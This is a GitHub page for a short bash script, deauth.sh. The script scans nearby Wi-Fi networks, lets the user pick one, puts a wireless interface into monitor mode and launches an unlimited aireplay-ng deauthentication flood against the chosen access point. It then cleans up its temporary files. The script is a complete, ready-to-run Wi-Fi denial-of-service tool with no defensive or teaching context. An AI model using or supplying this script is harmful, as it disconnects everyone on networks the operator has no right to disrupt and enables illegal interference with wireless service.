-
Notifications
You must be signed in to change notification settings - Fork 1
/
deauth.sh
72 lines (61 loc) · 2.07 KB
/
deauth.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/bin/bash
clear
# ASCII art banner
echo "
'########::'########::'######::'##:::'##:'##:::'##:
##.... ##: ##.....::'##... ##: ##::'##::. ##:'##::
##:::: ##: ##::::::: ##:::..:: ##:'##::::. ####:::
########:: ######:::. ######:: #####::::::. ##::::
##.....::: ##...:::::..... ##: ##. ##:::::: ##::::
##:::::::: ##:::::::'##::: ##: ##:. ##::::: ##::::
##:::::::: ########:. ######:: ##::. ##:::: ##::::
..:::::::::........:::......:::..::::..:::::..:::::
"
mon='mon'
sleep 5
clear
# List available Wi-Fi networks and save to input.txt
nmcli dev wifi | awk '$2 != "--"' | awk '{print NR,$1,$2,$4}' | awk -F : '$2!="" && $3!=""' > input.txt
echo "========================================================================================"
nmcli dev wifi | awk '$2 != "--"' | awk '{print NR,$1,$2,$4}' | awk -F : '$2!="" && $3!=""'
echo "========================================================================================"
# Select a network to deauthenticate
echo "Which network would you like to deauth? (type number on the left)"
read num
head -n $num input.txt | tail -1 > input2.txt
Bssid=$(awk '{print $2}' input2.txt)
chan=$(awk '{print $4}' input2.txt)
ssid=$(awk '{print $3}' input2.txt)
# Confirm network selection
while true; do
read -p "You chose $ssid, is this correct? " answer
case $answer in
[Yy]* ) break;;
[Nn]* ) exit;;
* ) echo "Please answer yes or no.";;
esac
done
clear
ifconfig
# Start an interface in managed mode
echo "You must start an interface in managed mode, ex. wlan0."
read interface
while true; do
read -p "You chose $interface, is this correct? " answer
case $answer in
[Yy]* ) break;;
[Nn]* ) exit;;
* ) echo "Please answer yes or no.";;
esac
done
sudo airmon-ng start $interface > /dev/null 2>&1
clear
# Perform deauthentication
sudo timeout 2s airodump-ng -d $Bssid -c $chan $interface$mon > /dev/null 2>&1
sudo aireplay-ng -0 0 -a $Bssid $interface$mon --ignore-negative-one
sleep 3
clear
echo "Returning to managed mode"
sleep 2
sudo airmon-ng stop $interface$mon > /dev/null 2>&1
rm -rf input*